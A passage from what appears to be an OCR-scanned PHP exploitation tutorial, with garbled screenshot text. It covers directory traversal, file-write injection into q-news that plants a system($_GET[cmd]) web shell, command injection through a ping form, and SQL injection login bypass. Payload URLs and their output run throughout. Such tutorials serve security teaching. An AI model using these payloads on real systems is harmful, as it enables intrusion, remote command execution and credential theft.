}
else
{

echo "\n\nUnable to open file.\n";

}

7>

Of course in a real world example there is no way the programmer would decide to output the path of the file

being read (which is constructed by concatenating user input with other string(s).)
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URL (GET Request):
http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%5C..%5C..%5C..

%5Cpagefile.sys

What | am attempting to do below is see how many folders we need to traverse up to the root directory of the
logical drive that we have access to. pagefile.sys isn't used for any particular reason, it's only purpose in this

is example is to see if we reached the root directory (as | know the file exists on the machine acting as a

server). As the error message PHP outputs will be different if the file we are trying to read exists.

~+ http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%:5C..%5C..%5C..%5Cpagefile.sys - Opera
Eile Edit View Bookmarks Widgets Tools Help

P
http://10.0.0.4/File...— ©

“« @ S5 » Ldﬂ m #° |3 http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%5C..%5C..%5C.. %50 » v

C:\apache2triad\htdocs\FileDiskReadWrite\appl\templates\..\..\..\..\pagefile.sys

Warning: fopen(C:\apache2triad\htdocs\FileDiskReadWrite\app1\templates\..\..\..\..\pagefile.sys) [function.fopen]: failed to
open stream: No such file or directory in C:\apache2triad\htdocs\FileDiskReadWrite\appl\PHPFileReadVuln.php on
line 8

Unable to open file.

B BH - A 100% ~

“No such file or directory”
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URL (GET Request):
http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%5C..%5C..%5C..%5C..

%5Cpagefile.sys

This time we traverse up one more directory, ..\ (..%5C).

+ http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%:5C..%5C..%5C..%5C..%:5Cpagefile.sys - Opera
Eile Edit View Bookmarks Widgets Tools Help

4 & 35 W |_‘d m rd 7‘(http:,f,.fl0.0.0.4,.fFiIeDiskReadWrite,.fappl,fPHPFiIeReaquIn.php?tempIate=..%5C..%5%%5C..%5[v -

C:\apache2triad\htdocs\FileDiskReadWrite\app1\templates\..\..\..\..\..\pagefile.sys

Warning: fopen(C:\apache2triad\htdocs\FileDiskReadWrite\appl\templates\..\..\..\..\..\pagefile.sys) [function.fopen]: failed to
open stream: Permission denied in C:\apache2triad\htdocs\FileDiskReadWrite\appl\PHPFileReadVuln.php on line 8
Unable to open file.

B BH - Q 100% v

“Permission denied”

So now we know the file exists, we also know that we have traversed the full way up the directory structure
on the server. From the root directory you can of course traverse down the folder structure to a read a file of

your choice or of course read any file of possible interest on the root directory.
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URL (GET Request):
http://10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%5C..%5C..%5C..%5C..
%5Cboot.ini

» http://10.0.0.4/FileDiskReadWrite/appl/PHPFileReadVuln.php#template=..2:5C..%5C..%5C..%5C..2%:5Cboot.ini - Opera
Eile Edit View Bookmarks Widgets Tools Help

D x|
http:/f10.0.0.4/File...

H & 5 » ‘_‘ﬂ m # 3 http:/j10.0.0.4/FileDiskReadWrite/app1/PHPFileReadVuln.php?template=..%5C..%5C..%5C..%5( v

C:\apache2triad\htdocs\FileDiskReadWrite\appl\templates\..\..\..\..\..\boot.ini
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1 \WINDOWS [operating systems] multi(0)disk(0)rdisk
(0)partition(1)\WINDOWS="Windows XP Professional x64 Edition" noexecute=optin /fastdetect

B BH - A 100% ~
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Exploiting File Write Vulnerabilities

q-news 2.0

http://sourceforge.net/projects/homap

File: /wsettings.php

<?php
$filename = 'settings.php';
if (is_writable($filename)) {
if (!$handle = fopen($filename, 'w")) {
print "Cannot open file ($filename)";
exit;
}
if ({fwrite($handle, "<?php
\$password = '$password'’;
\$font = '$font’;
\$height = '$Sheight’;
\$width = '$width';
\$direction = '$direction’;
\$speed = '$speed’;
\$bgcolor = '$bgcolor’;
\$txtcolor = '$txtcolor’;
\$txtsize = '$txtsize';
>"DA
print "Cannot write to file ($filename)";
exit;
}
print "Successfully saved settings to file ($filename)";
fclose($handle);

} else {
print "The file $filename is not writable";

}

?>
<br><br><br><br><br><br><div align='center

Vulnerability Explained:

wsettings.php writes to a file called settings.php PHP code.
The user has input to the via the $speed variable, you can easily write PHP Code into the file which can be

called via a Web Server GET Request and executed.
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http://hypersilence.net/files/silentum_loginsys.zip

Exploitation = File Write - Remote Code Execution:

URL (GET Request):

http://10.0.0.4/g-news-2.0/wsettings.php?speed=";%20ech0%20'This%20file%20is%20vulnerable%20to

%20Injection%20[fwrite()]

w http://10.0.0.4/g-news-2.0/wsettings.php?speed="';%20echo%20'This%20file%20is%20vulnerable%20to%20Injection%20[fwritel _ 0 X

Eile Edit View Bookmarks Widgets Tools Help

H« & 5 » ﬁj m #° | http://10.0.0.4/g-news-2.0/wsettings.php?speed=";%20echo%2 0 This%20file%2 0is%20vulneral =

Successfully saved settings to file (settings.php)

B BE - Q 100% v
In the example above we are injecting into user input that is used by fwrite. The output of fwrite() happens to

be a PHP Script (<?php ?>) as well so we can insert PHP code in easily, although if this wasn't the case PHP

tags could easily be added.
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URL (GET Request):

http://10.0.0.4/g9-news-2.0/settings.php

« 4« % » (9 [ ~ ¥ hitp:/10.0.0.4/9-news-2.0/settings.php E =

This file is vulnerable to Injection [fwrite()]

B BH - O 100% v
We call settings.php and our PHP code is executed, the output of which Is shown above.
What is shown above is use of injection into input sent to fwrite() for Remote Code Execution.

Of course we could also do:

(fwrite) File Write Injection —~ Remote Code Execution (via GET Request) - Remote Command Execution
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URL (GET Request):

http://10.0.0.4/g-news-2.0/wsettings.php?speed=";%20system($_GET[cmd]);'

Eile Edit View Bookmarks Widgets Tools Help

4 & & B L‘um #° | # http://10.0.0.4/g-news-2.0/wsettings.php?speed=";%20system($_GET[cmd]);' v

Successfully saved settings to file (settings.php)

N

B BH~ QO 100% v

URL (GET Request):

http://10.0.0.4/g-news-2.0/settings.php?cmd=driverquery

w http://10.0.0.4/q-news-2.0/settings. php?cmd=driverquery - Opera
Eile Edit View Bookmarks Widgets Tools Help

4 « > » [3 G ~ 7 S

-news-2.0/settings.php?cmd=driverquery] - -

Module Name Display Name Driver Type Link Date ============ ======================

= Aavmker4 avast! Asynchronous Vi Kernel 6/02/2009 5:05:16 AM
ACPI Microsoft ACPI Driver Kernel 17/02/2007 1:37:56 PM ACPIEC ACPIEC Kernel 25/03/2005 8:43:27 AM aec Microsoft
Kernel Acous Kernel 30/09/2004 1:25:59 AM AFD AFD Kernel 14/08/2008 7:51:22 PM aswFsBlk aswFsBlk File System
6/02/2009 5:07:15 AM aswMonFlt aswMonFlt File System 6/02/2009 5:07:05 AM aswRdr aswRdr Kernel 6/02/2009 5:06:11
AM aswSP avast! Self Protection Kernel 6/02/2009 5:07:35 AM aswTdi avast! Network Shield Kernel 6/02/2009 5:06:22
AM AsyncMac RAS Asynchronous Media Kernel 25/03/2005 8:44:07 AM atapi Standard IDE/ESDI Hard Kernel 17/02/2007
1:47:46 PM Atmarpc ATM ARP Client Protoco Kernel 17/02/2007 1:27:48 PM audstub Audio Stub Driver Kernel
25/03/2005 8:43:08 AM Beep Beep Kernel 25/03/2005 8:38:06 AM CdaC15BA CdaC15BA Kernel 10/12/2003 11:11:51 PM
CdaD10BA CdaD10BA Kernel 10/12/2003 11:11:51 PM Cdfs Cdfs File System 17/02/2007 1:59:37 PM Cdrom CD-ROM
Driver Kernel 25/03/2005 8:39:39 AM crcdisk CRC Disk Filter Driver Kernel 25/03/2005 8:42:06 AM Disk Disk Driver
Kernel 17/02/2007 1:47:52 PM dmboot dmboot Kernel 17/02/2007 1:50:30 PM dmio Logical Disk Manager D Kernel
17/02/2007 1:50:25 PM dmload dmload Kernel 25/03/2005 8:42:29 AM Fastfat Fastfat File System 17/02/2007 1:29:41 PM
Fdc Fdc Kernel 17/02/2007 1:47:27 PM Fips Fips Kernel 17/02/2007 1:38:28 PM Flpydisk Flpydisk Kernel 25/03/2005
8:39:10 AM FltMgr FltMgr File System 17/02/2007 1:30:45 PM Ftdisk Volume Manager Driver Kernel 17/02/2007 1:48:06
PM Gpc Generic Packet Classif Kernel 17/02/2007 1:31:07 PM HDAudBus Microsoft UAA Bus Driv Kernel 26/05/2005
11:46:35 PM hidusb Microsoft HID Class Dr Kernel 25/03/2005 8:43:29 AM HTTP HTTP Kernel 17/02/2007 1:59:22 PM
i8042prt i8042prt Kernel 17/02/2007 2:02:52 PM imapi CD-Burning Filter Driv Kernel 25/03/2005 8:40:04 AM
IntcAzAudAdd Service for Realtek HD Kernel 5/12/2007 5:32:54 PM Ip6Fw [Pv6 Windows Firewall Kernel 1‘1}02;‘2007
1:29:11 PM IpFilterDriv IP Traffic Filter Driv Kernel 17/02/2007 1:31:29 PM IpNat [P Network Address Tra Kernel
17/02/2007 1:31:30 PM IPSec IPSEC driver Kernel 17/02/2007 2:01:35 PM irda IrDA Protocol Kernel 17/02/2007 1:29:49
PM IRENUM IR Enumerator Service Kernel 17/02/2007 1:29:45 PM irsir Microsoft Serial Infra Kernel 17/02/2007 1:29:47
PM isapnp PnP ISA/EISA Bus Drive Kernel 17/02/2007 1:38:08 PM Kbdclass Keyboard Class Driver Kernel 17/02/2007
1:46:27 PM kbdhid Keyboard HID Driver Kernel 17/02/2007 1:46:30 PM kl1 k1l Kernel 21/07/2008 10:33:52 PM kmixer
Microsoft Kernel Wave Kernel 25/03/2005 8:43:18 AM KSecDD KSecDD Kernel 17/02/2007 1:36:10 PM ksthunk Kernel
Streaming WOW64 Kernel 17/02/2007 1:46:33 PM mnmdd mnmdd Kernel 25/03/2005 8:42:22 AM Modem Modem Kernel
17/02/2007 1:33:39 PM Mouclass Mouse Class Driver Kernel 25/03/2005 8:38:09 AM mouhid Mouse HID Driver Kernel
25/03/2005 8:38:12 AM MountMgr Mount Point Manager Kernel 17/02/2007 1:46:25 PM MRxDAV WebDav Client Redirect
File System 21/01/2008 5:46:36 PM MRxSmb MRXSMB File System 5/09/2008 10:52:44 PM Msfs Msfs File System
25/03/2005 8:40:07 AM MSKSSRV Microsoft Streaming Se Kernel 17/02/2007 1:46:35 PM MSPCLOCK Microsoft -

B BH- O 100% v
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Exploiting Other Disk File Vulnerabilities

Exploiting glob() Injection

Exploiting glob() is much like any other injection. Injected content must make it unaltered or still in way some

intact to the point of injection and then be executed in a manner which works with the function being

filetemplatelist.php

<?php
if(isset($_GET['dir']))
{
$dir = $_GET['dir'];
$fullpath = $dir . "\*.bmp";
echo "glob Expression: " . $fullpath . "</BR>" . "</BR>";
foreach (glob($fullpath) as $image)
{
echo basename($image) . "</BR>";
}
}
7>
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glob() Injection = Directory Traversal

URL (GET Request):

http://10.0.0.4/FileDiskReadWrite/app1/filetemplatelist.php?dir=%5C*%5C*%5C*%5C*

4 & 3 » & m #7 3 http://10.0.0.4/FileDiskReadWrite/app1/filetemplatelist. php ?dir=%5 C*%5 C*%5 C*%5 C* - -

glob Expression: V\*\*\*\* bmp

ora-error.bmp

logo copy.bmp =3
screenshot-media-censor.bmp

yahoo-removal.bmp

setup.bmp

metal.bmp

brush3.bmp

Product.bmp

ProductX.bmp

Trial.bmp

C-Close.bmp

C-Max.bmp

C-Min.bmp

C-Restore.bmp

C-end.bmp B
ComboButton.bmp

Dialog.bmp

Explorer.bmp

F-Bottom.bmp

F-Left.bmp

F-Right.bmp

F-Top.bmp

GroupBox.bmp

GroupBoxTitle.bmp

Header.bmp

Mdi.bmp

Menu-Border.bmp

MenuBar.bmp v

B BH -~ | 100% v
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Exploitable Functions

fopen()

Description:

resource fopen( string $filename , string $mode [, bool $use_include_path [, resource $context ]])

If the string $filename is in the format "protocol://...", PHP will handle it as a URL and search for a protocol
handler.

In relation to File Read vulnerabilities being able to manipulate user input and exploit fopen() can lead to
compromise of sensitive information or possibly execution of code if what is being read is interpreted.
Exploiting fopen() may be part of exploiting a File Write vulnerability, if you were able to have any input into

what is being written you could have Remote PHP Code Execution.

file()

Description:

array file ( string $filename [, int $flags= 0 [, resource $context ] )

Reads the contents of the file specificed in $filename into an array, function usually only takes one
parameter.

If fopen_wrappers has been enabled on PHP the filename can be a URL and file() can read remote files.
Depending on whether or not allow_url_fopen is enabled and what is done with the data In the array.

file(), readfile(), file_get_contents() could be used to perform Remote Code Execution.

readfile()

Description:

int readfile ( string $filename [, bool $use include path= false [, resource $context 11)

Returns an Integer, the number of bytes read from the file into the output buffer ($context).

file_get_contents()

Description:

string file_get_contents ( string $filename [, int $flags=0 [, resource $context [, int $offset=
-1 [, int $maxlen=-11111)

This function is similar to file(), except that file_get_contents() returns the file in a string, starting at the

specified offset.
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fgets()

Description:

string fgets ( resource $handle [, int $length ])

Reads a line from a file pointed from a file handle.

glob()

Description:

array glob ( string $pattern [, int $flags=01])

The glob() function searches for all the pathnames and files matching the given pattern.
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Command Execution Vulnerabilities

Introduction

Exploiting Command Execution Vulnerabilities in PHP is just like exploiting any other form of injection in any
programming language. You must be able to inject code which does not raise any condition on any validation
and is not altered/sanitised before it gets to it's destination. At it's destination, in this case a PHP Function
that can be used for executing operating system commands (such as system() ) the user input must be
formatted so that is executes in context with the other supplied data to the function. This is not a common
vulnerability discovered in PHP applications, at least not any more. Programmers would obviously be careful
when allowing user input to be part of data sent to a function that could be used for executing operating
system commands. Although of course there are people out there of course that are not caring about or

handling validation.

querydomain.php

<?php

if(isset($_GET['domain']))
{
$query = "ping " . $_GET['domain'] . " -n 4";
echo $query;
echo system($query);

7>
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What You Need To Know

When exploiting a Command Execution vulnerability it is most likely that your user input concatenated with
other strings and then sent to the desired function, so the operating system command can be executed.
Sites that do queries such as a Ping and/or Whois may form a string from user data and hard coded string(s)
to ping or query a host for example.

When this is the case it is most likely what you will be doing to exploit the vulnerability is either altering the

existing command (parameters) or appending another command to be executed.

When can use the | or & character to append other commands onto the one being executed.

We can use back ticks * " in order to encapsulate commands to be evaluated and then output

Being that another string “-n 4" is being appending onto our string after our string is appended to “ping “, we

have to terminate the string with a NULL character.

URL (GET Request):

http://10.0.0.4/CommandExecution/querydomain.php?domain=yahoo.com|driverquery%00

w http://10.0.0.4/CommandExecution/querydomain.php?domain=yahoo.com|driverquery%00 - Opera
Eile Edit View Bookmarks Widgets Tools Help

[ X ﬁ
. 4 http://10.0.0.4/Co... '

============= ====================== Aavmker4 avast!
Vi Kernel 6/02/2009 5:05:16 AM ACPI Microsoft ACPI Driver Kernel 17/02/2007 1:37:56 PM ACPIEC
Kernel 25/03/2005 8:43:27 AM aec Microsoft Kernel Acous Kernel 30/09/2004 1:25:59 AM AFD AFD Kernel
/08/2008 7:51:22 PM aswFsBlk aswFsBIlk File System 6/02/2009 5:07:15 AM aswMonFlt aswMonFlt File System 6
/02/2009 5:07:05 AM aswRdr aswRdr Kernel ﬁ‘{02i2009 5:06:11 AM aswSP avast! Self Protection Kernel 6/02/2009 5
:07:35 AM aswTdi avast! Network Shield Kernel 6/02/2009 5:06:22 AM AsyncMac RAS Asynchronous Media Kernel
/03/2005 8:44:07 AM atapi Standard IDE/ESDI Hard Kernel 17/02/2007 1:47:46 PM Atmarpc ATM ARP Client Protoco
17/02/2007 1:27:48 PM audstub Audio Stub Driver Kernel 25/03/2005 8:43:08 AM Beep Beep Kernel 25/03/2005 8
:38:06 AM CdaC15BA CdaC15BA Kernel 10/12/2003 11:11:51 PM CdaD10BA CdaD10BA Kernel 10/12/2003 11:11:51 PM
Cdfs File System 17/02/2007 1:59:37 PM Cdrom CD-ROM Driver Kernel 25/03/2005 8:39:39 AM crcdisk CRC Disk
Driver Kernel 25/03/2005 8:42:06 AM Disk Disk Driver Kernel 17/02/2007 1:47:52 PM dmboot dmboot Kernel
/02/2007 1:50:30 PM dmio Logical Disk Manager D Kernel 17/02/2007 1:50:25 PM dmload dmload Kernel 25/03/2005 8
:42:29 AM Fastfat Fastfat File System 17/02/2007 1:29:41 PM Fdc Fdc Kernel 17/02/2007 1:47:27 PM Fips Fips Kernel
/02/2007 1:38:28 PM Flpydisk Flpydisk Kernel 25/03/2005 8:39:10 AM FltMgr FltMgr File System 17/02/2007 1:30:45
Ftdisk Volume Manager Driver Kernel 17/02/2007 1:48:06 PM Gpc Generic Packet Classif Kernel 17/02/2007 1:31:07
HDAudBus Microsoft UAA Bus Driv Kernel 26/05/2005 11:46:35 PM hidusb Microsoft HID Class Dr Kernel 25/03/2005 8
:43:29 AM HTTP HTTP Kernel 17/02/2007 1:59:22 PM i8042prt i8042prt Kernel 17/02/2007 2:02:52 PM imapi CD-
Filter Driv Kernel 25/03/2005 8:40:04 AM IntcAzAudAdd Service for Realtek HD Kernel 5/12/2007 5:32:54 PM
6Fw IPv6 Windows Firewall Kernel 17/02/2007 1:29:11 PM IpFilterDriv IP Traffic Filter Driv Kernel 17/02/2007 1:31:29
IpNat IP Network Address Tra Kernel 17/02/2007 1:31:30 PM IPSec IPSEC driver Kernel 17/02/2007 2:01:35 PM irda
Protocol Kernel 17/02/2007 1:29:49 PM IRENUM IR Enumerator Service Kernel 17/02/2007 1:29:45 PM irsir
Serial Infra Kernel 17/02/2007 1:29:47 PM isapnp PnP ISA/EISA Bus Drive Kernel 17/02/2007 1:38:08 PM
Keyboard Class Driver Kernel 17/02/2007 1:46:27 PM kbdhid Keyboard HID Driver Kernel 17/02/2007 1:46:30
ki1 kl1 Kernel 21/07/2008 10:33:52 PM kmixer Microsoft Kernel Wave Kernel 25/03/2005 8:43:18 AM KSecDD
Kernel 17/02/2007 1:36:10 PM ksthunk Kernel Streaming WOW64 Kernel 17/02/2007 1:46:33 PM mnmdd mnmdd
25/03/2005 8:42:22 AM Modem Modem Kernel 17/02/2007 1:33:39 PM Mouclass Mouse Class Driver Kernel
/03/2005 8:38:09 AM mouhid Mouse HID Driver Kernel 25/03/2005 8:38:12 AM MountMgr Mount Point Manager Kernel
/02/2007 1:46:25 PM MRxDAV WebDav Client Redirect File System 21/01/2008 5:46:36 PM MRxSmb MRXSMB File
5/09/2008 10:52:44 PM Msfs Msfs File System 25/03/2005 8:40:07 AM MSKSSRV Microsoft Streaming Se Kernel E

- G- CQ 100% v
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Remote Command Execution - File Write — Shell Execute

URL (GET Request):

http://10.0.0.4/CommandExecution/querydomain.php?domain=yahoo.com|ech0%20%22%3C?php

%20ech0%20system($_GET['cmd']);%20?%3E%22%20%3E%20h4xex3c.php%00

w http://10.0.0. 4/CommandExecution/querydomain.php?domain=yahoo.com|echo%20%22%3C?php%20echo%20system($_GET['« _ 0 X
File Edit View Bookmarks Widgets Tools Help

44 @ 5 B ‘ﬂm #7 ¥ %h22%3C?php%20echo®%20system($_GET['cmd']);%207%3E%22%20%3E%20h4xex3c.php%00 » -

ping yahoo.com|echo "" > hdxex3c.php -n 4

- CH - C 100% v
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URL (GET Request):

http://10.0.0.4/CommandExecution/h4xex3c.php?cmd=dir

4 @ 5 @ ‘E m #" |3 http://10.0.0.4/CommandExecution/h4xex3c.phptecmd=dir - -

" Volume in drive C has no label. Volume Serial Number is 24B1-693C Directory of C:\apache2triad\htdocs
\CommandExecution 13/06/2009 12:54 PM

. 13/06/2009 12:54 PM

.. 13/06/2009 12:54 PM 40 hdxex3c.php 13/06/2009 10:55 AM 131 querydomain.php 2 File(s) 171 bytes 2 Dir(s)
3,414,990,848 bytes free 2 Dir(s) 3,414,990,848 bytes free"

N

- G- CQ 100% v
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Exploitable Functions

system()

Description:

string system ( string $command [, int &$return_var ] )

Executes a system command and returns the output, Identical to the C function system();

passthru()
Description:

void passthru ( string $command [, int &$return_var | )

exec()
Description:

string exec ( string $command [, array &$output [, int &$return_var ]] )

popen()

Description:

resource popen ( string $command , string $mode )

Opens a pipe to a process executed by forking the command given by command.

shell_exec()

Description:

string shell_exec ( string $cmd )
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SQL Injection Vulnerabilities

Introduction

What Is SQL Injection? SQL Injection Exploitation is when the a SQL Query string is passed to the database
that contains user input, and that user input is crafted to execute in the context of the other part of the SQL
Query to do something the attacker intended.

At the same time, insufficient validation (or lack thereof) or sanitation of the user input is what leads to the
user compromising the SQL Query string.

When an SQL Query is injected into the statement can be appended to and/or terminated.

Items Covered in this section (SQL Injection):

*Bypassing Authentication via SQL Injection.

*Terminating a SQL Query.

*Injecting a UNION to retrieve addition information from the database.

*Injecting a UNION Statement with a INTO OUTFILE for File Writing.

*Injecting into INSERT Statements.

*Injecting into INSERT Statement and Performing a SQL Subquery.

*Injecting into UPDATE statements.

*Injecting into a DELETE statement.

*Examples of SQL Injection vulnerabilities in real world applications.
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magic_quotes_gpc

What is magic_quotes_GPC ?

magic_quotes_gpc is a feature in PHP used for automatically escaping incoming data contained in GET,
POST, COOKIE variables.

Characters such as ' (single quote), “ (double quote) and \ (backslash) are escaped with a backslash \.

This would be identical running the function addslashes() on all GET, POST and COOKIE variables.
magic_quotes_gpc and SQL Injection

If PHP has magic_quotes_gpc enabled then an attempt to break out of a value in a statement using a single

quote will fail, because it will be escaped with a backslash \. A single quote (') will be preceded with a

backslash (\").
If you are able to execute PHP Code you can use the get_magic_quotes_gpc function to see if it is turned off

or on.

magic_quotes_gpc has been DEPRECATED since PHP 5.3.0 and REMOVED PHP 6.0.0.
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Basic Injection = Authentication Bypass

Below we have a FORM which POST's a username and password to our .php file that becomes part of an

SQL SELECT Statement used to verify the login credentials against those in the database.

LoginAuthForm.html:

<form action="LoginAuthBypass.php" method="post">
Username: <input type="text" name="username" />
<BR>

Password: <input type="password" name="password" />
<input type="submit" value="Login" />

</form>

LoginAuthBypass.php:

<?php

$mysqglcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysqlerror());

$username = $_POST['username'];
$password = $_POST['password'];

mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());

$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME =" . $username . " AND PASSWORD ="".
$password . "";

//Can be useful to print out variables during testing to get an idea of what is going on.
echo '<B>'.'SQL QUERY: '.'</B>' . $loginauthsql . "<br />" . "<br />";

$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror());

if (mysgl_numrows($result) !=0)

{
echo 'AUTHENTICATION '. '<FONT COLOR="#00CC66">' . '"GRANTED' . '</FONT>";
}
else
{
echo 'AUTHENTICATION '. '<FONT COLOR="#FF0000">'. 'FAILED'. '</FONT>";
}

mysql_close($mysqlcon);

7>
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We attempt authentication and try to “guess” the administrator password, imagining we have already

managed to obtain through what ever means the administrator username.

HTML Form POST:

Value Name

Value Data
username admin
password admin

File Edit View Bookmarks Widgets Tools Help

“ € % » 1% ) # | httpy/10.0.0.4/5QLinjection/LoginAuthBypass.php

v -
SQL QUERY: SELECT * FROM USERS WHERE USER NAME = 'admin' AND PASSWORD = 'admin'

AUTHENTICATION FAILED

@ BN~ Q100% »

| % USER_ID | USER_MARE PASSWORD | ErAIL
1 admin crackwhire admin@localhost. net
2 Sanderz K.FChick3n colonelzandersi@freemasonn. arg
3 TonyBElair

summonthelighteachmorning

tony. blairzoccultobsession. arg
1a533db2905c58h5 0965 affa25E95a00

4 nico_crackhead
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HTML Form POST:

Value Name

Value Data
username admin
password crackwhOre

w http://10.0.0.4/SQLInjection/LoginAuthBypass.php

Eile Edit View Bookmarks Widgets Tools Help
v 4 |
X T http10.0.0.2/5Q. L+

« 4« % » (9 [ ~ | http:/10.0.0.4/50LiInjection/LoginAuthBypass.php

v v
SQL QUERY: SELECT * FROM USERS WHERE USER NAME = 'admin' AND PASSWORD = 'crackwhOre'

AUTHENTICATION GRANTED

- G- Q 100% v
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HTML Form POST:

Value Name Value Data
username admin
password "OR'y'='z

4 ® % » (49 [G) ~ ¥ nhttp:/10.0.0.4/S0LInjection/LoginAuthBypass.php

v v
SQL QUERY: SELECT * FROM USERS WHERE USER_NAME = 'admin' AND PASSWORD =" OR 'y'='z

AUTHENTICATION FAILED

- G- CQ 100% v

Being that the password is not (meant to be) known for the admin user, we have to append something onto
the query which evaluates to TRUE, not FALSE.

Page 59



HTML Form POST:

Value Name Value Data
username admin
password 'ORYy'=y

« € 9 » (9 [a) ~ |3 nttp:/10.0.0.4/5QLInjection/LoginAuthBypass.php

- -
SQL QUERY: SELECT * FROM USERS WHERE USER NAME = 'admin' AND PASSWORD =" OR 'y'="y’'

AUTHENTICATION GRANTED

B BH - A 100% -

With the OR statement we append onto the query we evaluate the query to true by making a comparison
between the character 'y’ and itself.
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Authentication Bypass [Example]

You probably noticed in the database posted above that one of the users had an MD5 Hash for a password.
This was because this was inserted using a HTML Form which created an MD5 hash from the password
string. This Form is used later on as an example of Injection into an INSERT statement used for creating a
record of the user in the database.

In this example the password field is an MD5, so the username is the point of injection.

Obviously you cannot do an Injection from a field which becomes an MD5 hash of a string.

LoginAuthForm.html:

<form action="LoginAuthBypass2.php" method="post">
Username: <input type="text" name="username" />
<BR>

Password: <input type="password" name="password" />
<input type="submit" value="Login" />

</form>

LoginAuthBypass.php:

<?php
$mysqglcon = mysql_connect("localhost:666","aelphaeis","password") or die(mysqlerror());

$username = $_POST['username'];
$password = md5($_POST['password']);

mysql_select_db("mydb", $mysqglcon ) or die(mysqlerror());

$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME =" . $username . " AND PASSWORD ="".
$password . ""';

//Can be useful to print out variables during testing to get an idea of what is going on.
echo '<B>'.'SQL QUERY: '.'</B>' . $loginauthsql . "<br />" . "<br />";

$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror());

if (mysgl_numrows($result) !=0)

{
echo '"AUTHENTICATION '. '<FONT COLOR="#00CC66">'.'GRANTED' . '</FONT>";
}
else
{
echo '"AUTHENTICATION '. '<FONT COLOR="#FF0000">' . 'FAILED' . '</[FONT>";
}

mysgl_close($mysglcon);

7>
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Taken from the MySQL (5.1) Manual: http://dev.mysgl.com/doc/refman/5.1/en/comments.html

MySQL Server supports three comment styles:

From a “#” character to the end of the line.

From a “-- " sequence to the end of the line. In MySQL, the “-- ™ (double-dash) comment style requires
the second dash to be followed by at least one whitespace or control character (such as a space, tab,
newline, and so on). This syntax differs slightly from standard SQL comment syntax, as discussed in Section

1.7.5.6, “'--' as the Start of a Comment”.

From a /* sequence to the following */ sequence, as in the C programming language. This syntax
allows a comment to extend over multiple lines because the beginning and closing sequences need not be
on the same line.

MySQL Server supports some variants of C-style comments. These enable you to write code that includes

MySQL extensions, but is still portable, by using comments of the following form:

/*I MySQL-specific code */

In this case, MySQL Server parses and executes the code within the comment as it would any other SQL

statement, but other SQL servers will ignore the extensions. For example, MySQL Server recognizes the

STRAIGHT_JOIN keyword in the following statement, but other servers will not:

SELECT /*! STRAIGHT_JOIN */ col1 FROM table1,table2 WHERE ...

If you add a version number after the “!” character, the syntax within the comment is executed only if the
MySQL version is greater than or equal to the specified version number. The TEMPORARY keyword in the

following comment is executed only by servers from MySQL 3.23.02 or higher:

CREATE /*132302 TEMPORARY */ TABLE t (a INT);

The comment syntax just described applies to how the mysqld server parses SQL statements. The mysql
client program also performs some parsing of statements before sending them to the server. (It does this to
determine statement boundaries within a multiple-statement input line.)

The use of short-form mysgl commands such as \C within multi-line /* ... */ comments is not supported.
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HTML Form POST:

Value Name Value Data
username admin' OR 'x'='x --
password

4« € % » (4 [G) ~ [ nttp:/10.0.0.4/50LInjection/LoginAuthBypass2.php

- -
SQL QUERY: SELECT * FROM USERS WHERE USER NAME = 'admin' OR 'x'='x -' AND PASSWORD =
'9dd4e461268c8034f5c8564e155c67a6'

AUTHENTICATION GRANTED

B BH~ QO 100% v

In the example above we inject into the $username variable that is part of the SQL Query string and
comment out the rest of the query.
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Injection [SELECT Statement]

Injection into a SELECT Statement is the most common SQL Injection attack.
A SELECT Statement is not a DML Statement but is used for Data Retrieval. This can be very powerful, as
Injection into a SELECT Statements means potentially access to information in the database.

And we all know databases have contain all sorts of interesting/sensitive information.

SELECT Statement Example:

SELECT * FROM CATEGORY WHERE CATEGORY_ID =1

PHP Code Example:

$result = mysql_query("SELECT * FROM CATEGORY WHERE CATEGORY_ID = $ID", “mydb”);

HTTP GET Request Example:

http://server.com/category.php?ID=1

In regards to Injection into SELECT Statements the User Input, the Point of Injection is usually after the
WHERE clause and is a value(s) searched for in a specified column(s).

What does this mean in regards to SQL Injection? It means that we are unable to manipulate the Columns
selected and the Table which they are selected from, because it isn't made up of user input.

This means short of another SQL Statement joined onto the SELECT Statement

UNION Statement Example:

SELECT CATEGORY_ID, CATEGORY_NAME FROM CATEGORY WHERE CATEGORY_ID =1
UNION SELECT SECTION_ID, SECTION_NAME FROM SECTION WHERE
CATEGORY_CATEGORY_ID =1

Note: The column data types and number of columns match (ID's are Integer, Names are Strings.)
With a UNION Statement you are able to add onto an existing SELECT Statement.

A UNION Statement can be used when injecting into a SELECT Query which does NOT already have a
UNION Statement.
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MySQL UNION Syntax

SELECT ...
UNION [ALL | DISTINCT] SELECT ...
[UNION [ALL | DISTINCT] SELECT ..]

UNION is used to combine the result from multiple SELECT statements into a single result set.

The column names from the first SELECT statement are used as the column names for the results returned.
Selected columns listed in corresponding positions of each SELECT statement should have the same data
type. (For example, the first column selected by the first statement should have the same type as the first
column selected by the other statements.)

If the data types of corresponding SELECT columns do not match, the types and lengths of the columns in
the UNION result take into account the values retrieved by all of the SELECT statements. For example,

consider the following:

mysql> SELECT REPEAT('a’,1) UNION SELECT REPEAT('b',10);

o +
|a |

| bbbbbbbbbb |
o +

(In some earlier versions of MySQL, only the type and length from the first SELECT would have been used
and the second row would have been truncated to a length of 1.)

The SELECT statements are normal select statements, but with the following restrictions:

Only the last SELECT statement can use INTO OUTFILE. (However, the entire UNION result is written to the
file.)

HIGH_PRIORITY cannot be used with SELECT statements that are part of a UNION. If you specify it for the
first SELECT, it has no effect. If you specify it for any subsequent SELECT statements, a syntax error results.

The default behavior for UNION is that duplicate rows are removed from the result. The optional DISTINCT
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keyword has no effect other than the default because it also specifies duplicate-row removal. With the
optional ALL keyword, duplicate-row removal does not occur and the result includes all matching rows from
all the SELECT statements.
